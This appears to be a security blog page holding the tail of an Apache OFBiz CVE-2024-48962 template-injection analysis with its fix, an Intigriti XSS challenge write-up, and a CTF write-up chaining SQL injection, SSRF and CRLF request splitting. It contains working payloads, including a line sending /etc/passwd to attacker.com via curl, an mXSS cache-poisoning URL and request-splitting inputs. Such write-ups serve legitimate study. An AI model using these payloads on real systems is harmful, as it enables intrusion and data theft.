location = 'https://target-ofbiz.com/partymgr/control/viewprofile?partyId=${Static["org.apache.ofbiz.base.util.GroovyUtil"].eval("\'curl -X POST -d @/etc/passwd http://attacker.com/exfil\'.execute()", null)}';
</script>
```

---

## Fix

Apache OFBiz addressed this vulnerability in version 18.17 by implementing comprehensive parameter value encoding before template generation:

`framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/macro/MacroMenuRenderer.java`
```java
// Before: Direct parameter inclusion (vulnerable)
sb.append(((String) value).replaceAll("\"", "\\\\\""));

// After: Proper encoding using SimpleEncoder (secure)
UtilCodec.SimpleEncoder simpleEncoder = (UtilCodec.SimpleEncoder) context.get("simpleEncoder");
if (simpleEncoder != null) {
    targetParameters.append(simpleEncoder.encode(parameter.getValue()));
} else {
    targetParameters.append(parameter.getValue());
}
```

A detailed analysis of CVE-2024-48962, a Server-Side Template Injection (SSTI) vulnerability in Apache OFBiz, and how it can be exploited to achieve Remote Code Execution (RCE).

CVE-2024-48962: SSTI with Freemarker sandbox bypass leading to RCE

Intigriti XSS - Leaky fragment

# Intigriti XSS Challenge #1224

> Challenge URL https://challenge-1224.intigriti.io/
## Overview
It is a simple page that renders a text, made in `php` + `CodeIgniter`.
## Code review
1. Main logic:
	- The `View` controller handles an HTTP request, retrieves the `title` parameter from the GET request, cleans it from potential security threats, converts it to an ID using the `str2id()` function, and then loads a view with the sanitized title and its corresponding ID.
	- The output view is cached for one minute.
	- The `str2id()` function ensures that a string is suitable for use as an HTML ID by converting it to lowercase (except for the first letter), and replacing spaces with dashes.
```php
<?php

function str2id($str)
{
    if (strstr($str, '"')) {
        die('Error: No quotes allowed in attribute');
    }
    // Lowercase everything except first letters
    $str = preg_replace_callback('/(^)?[A-Z]+/', function($match) {
        return isset($match[1]) ? $match[0] : strtolower($match[0]);
    }, $str);
    // Replace whitespace with dash
    return preg_replace('/[\s]/', '-', $str);
}

class View extends CI_Controller
{
    public function index()
    {
        $this->load->helper('string');
        $this->load->helper('security');
        $this->output->cache(1);

        $title = $this->input->get('title') ?: 'Christmas Fireplace';

        $title = xss_clean($title);
        $id = str2id($title);

        $this->load->view('view', array(
            "id" => $id,
            "title" => $title
        ));
    }
}
```
- Then the sanitized input is inserted in two parts of the page:
```php
<h1><?= htmlspecialchars($title) ?></h1>
[...]
<div class="fireplace" id="<?= $id ?>">
```

Overall the code looks secure, so let's look at how is the cache handled:

- cache write: if a page hasn't been cached yet, a cache file is written locally right before the response is sent to the client
```php
public function _write_cache($output)
{
	[...]
	
	$expire = time() + ($this->cache_expiration * 60);
	// Put together our serialized info.
	$cache_info = serialize(array(
		'expire'	=> $expire,
		'headers'	=> $this->headers
	));
	$output = $cache_info.'ENDCI--->'.$output;

	[...]
}
```

A cache file is composed like this:
```
SERIALIZED_OBJECT + 'ENDCI--->' + HTML_PAGE
```

- cache read: when requesting a cached page, the corresponding cache file is read and split in two parts:
	- the first part is a PHP object containing the document's expiry value
	- the rest is the page that will be sent to the client
```php
public function _display_cache(&$CFG, &$URI)
{
	[...]

	$cache = (filesize($filepath) > 0) ? fread($fp, filesize($filepath)) : '';

	flock($fp, LOCK_UN);
	fclose($fp);

	// Look for embedded serialized file info.
	if ( ! preg_match('/^(.*)ENDCI--->/', $cache, $match))
	{
		return FALSE;
	}

	$cache_info = unserialize($match[1]);
	$expire = $cache_info['expire'];

	$last_modified = filemtime($filepath);
	
	[...]
	
	// Display the cache
	$this->_display(self::substr($cache, self::strlen($match[0])));
}
```

## Exploitation
1. **Cache poisoning**

What happens if I smuggle a `ENDCI--->` into the cache file?

The cache file would look like this:
```
SERIALIZED_OBJECT + 'ENDCI--->' + START_HTML_PAGE + 'ENDCI--->' + END_HTML_PAGE
```
Therefore when requesting the cached page, because of the regex `/^(.*)ENDCI--->/`, the server will return only the part of the page **after the last** `ENDCI--->`, 

for example:
- Non cached response:
```
[...]<div class="fireplace" id="ENDCI--->xss"><div class="bottom"><ul class="ground">[...]
```
- Cached response:
```
xss"><div class="bottom"><ul class="ground">[...]
```

In the **cached** response, the input is reflected directly in the **html context** (not in the attribute like before), this could introduce an XSS vulnerability.


But there's a problem: sending directly `ENDCI--->`  **won't poison** the cache because `xss_clean` will recognize it as an html comment and will encode it.

Fortunately `str2id` converts spacing characters into dashes, I can use this behaviour to bypass `xss_clean`.

By sending `title=ENDCI--%20>`, no malicious input is detected and `ENDCI--->` gets injected into the page.


2. **mXSS**

Now that I can inject HTML outside the attribute context, I have to bypass some obstacles in order to have an XSS:
- `xss_clean` removes dangerous elements and attributes
- `str2id`  converts spaces to dashes, and all uppercase chars to lowercase

After some attempts I came up with the following payload:
`ENDCI-- ><p/title='</noscript><iframe/onload=alert(document.domain)>'>`

Why does this work? 

This is a **Mutation-based XSS (mXSS)**.

The reason this payload bypasses the `xss_clean` function is that **it does not check attribute values** for potential XSS risks, focusing instead on element tags and known dangerous attributes. As a result, it fails to flag this payload as dangerous so it doesn't get sanitized.
However, when the browser processes this malformed HTML, it **misinterprets** the structure and "corrects" it in a way that turns it into a valid executable script. This misinterpretation leads to a cross-site scripting vulnerability, where the injected script gets executed by the browser.

## Full exploit
1. **Poison the cache**: Request the following URL at 1-minute intervals to poison the cache, as it expires after 1 minute: `https://challenge-1224.intigriti.io/index.php/view?title=ENDCI--%20%3E%3Cp/title=%27%3C/noscript%3E%3Ciframe/onload=alert(document.domain)%3E%27%3E`
2. **Trigger the XSS**: Once the cache is poisoned, accessing the link will trigger the XSS payload.

Intigriti XSS - Fireplace generator

# m0le24 - ndayFilestorage
## Description
S3, min.io, uploadthing... Why do we have to complicate our platforms with all of these when we have some good old well-tested solutions?
## Overview
It's a file hosting website composed by 2 services:
- app: The main web application service that handles file uploads and downloads
- ftp: A service running both an FTP server and an HTTP server used for account management
## Road to flag
The flag is returned by the webserver running in the 'ftp' service when making a POST request with a specific header:
```js
app.post("/flag", (req, res) => {
  if (!!req.headers["x-get-flag"]) {
    res.send(process.env.FLAG || "ptm{REDACTED}");
  } else {
    req.send("nope");
  }
});
```
## Code review
1. SQL Injection

A SQL injection exists in the `upload_file` function. The `$filename` parameter is directly inserted into the SQL query without any sanitization or parameterization:
```php
$stmt = $database->prepare("INSERT INTO files (owner, filename, size) VALUES (:owner, '$filename', :size)");
```
This allows an attacker to inject arbitrary SQL code through the filename.

2. Server-Side Request Forgery (SSRF)

The application creates an FTP context using user-controlled settings:
```php
$opts = ['ftp' => $_SESSION['settings']];
$context = stream_context_create($opts);
```

These settings can be manipulated by sending a POST request to '/' with JSON data:
```php
$data = json_decode($_POST['settings'], true);
if (!is_array($data)) {
\tdie;
}
$_SESSION['settings'] = $data;
```

By setting the [FTP context options](https://www.php.net/manual/en/context.ftp.php), we can redirect file requests to the FTP service:
```
{"proxy":"ftp:3000"}
```

When downloading a file, the application sends a request like:
```
GET ftp://username:password@ftp/filename HTTP/1.1
Authorization: Basic Mjg0OTJhNTQzYTMwYzdjODoyOTU3ZjJlZTUzYWM3MGQ5
Host: ftp
Connection: close
```
To obtain the flag, we need to convert this to a POST request and add the required `x-get-flag` header.

3. CRLF Injection Leading to HTTP Request Splitting

In the `upload_file` function, filenames are not properly sanitized before being used in URLs:
```php
$ftp = @fopen("ftp://{$_SESSION['user']}:{$_SESSION['password']}@ftp/$filename", 'w', false, $context);
```

Local testing reveals that fopen is vulnerable to CRLF injection. For example, using:
`$filename = 'flag%20HTTP%2f1.1%0d%0aHost%3a%20ftp%0d%0a%0d%0aPOST%20%2fflag%20HTTP%2f1.1%0d%0aX-Get-Flag%3a%201%0d%0aX%3a%20'`

Generates this request:
```
GET ftp://dcc24aaf6ff28e53:91ce935517f3c9ec@ftp/flag HTTP/1.1
Host: ftp

POST /flag HTTP/1.1
X-Get-Flag: 1
X:  HTTP/1.1
Authorization: Basic ZGNjMjRhYWY2ZmYyOGU1Mzo5MWNlOTM1NTE3ZjNjOWVj
Host: ftp
Connection: close
```

However, there's a catch - filenames containing CRLF characters cannot be directly used because the application verifies file existence in the database:
```php
$filename = $_GET['filename'];

$stmt = $database->prepare('SELECT * FROM files WHERE owner = :owner AND filename = :filename');
$stmt->execute([
\t'owner' => $_SESSION['user'],
\t'filename' => $filename
]);
$file = $stmt->fetch();

if (!$file) {
\tdie('<script>window.close()</script>');
}
```
## Exploitation Steps
1. First, exploit the SQL injection to create a file with a specially crafted name that includes our CRLF payload:
`none',1),(:owner,cast(X'666c616720485454502f312e310d0a486f73743a206674700d0a0d0a504f5354202f666c616720485454502f312e310d0a582d4765742d466c61673a20310d0a583a20' as text),:size);--`

This SQL injection creates a file entry where the name is our hex-encoded CRLF payload. The hex string is decoded when inserted into the database.

2. Configure the FTP proxy settings to redirect requests:
```
{"proxy":"ftp:3000"}
```

3. Finally, trigger the exploit by requesting:
```
GET /?filename=flag%20HTTP%2f1.1%0d%0aHost%3a%20ftp%0d%0a%0d%0aPOST%20%2fflag%20HTTP%2f1.1%0d%0aX-Get-Flag%3a%201%0d%0aX%3a%20
```

`ptm{php_why_d0_y0u_hav3_t0_b3_l1k3_th1s..._--_....}`

BLOG

Categories

Tags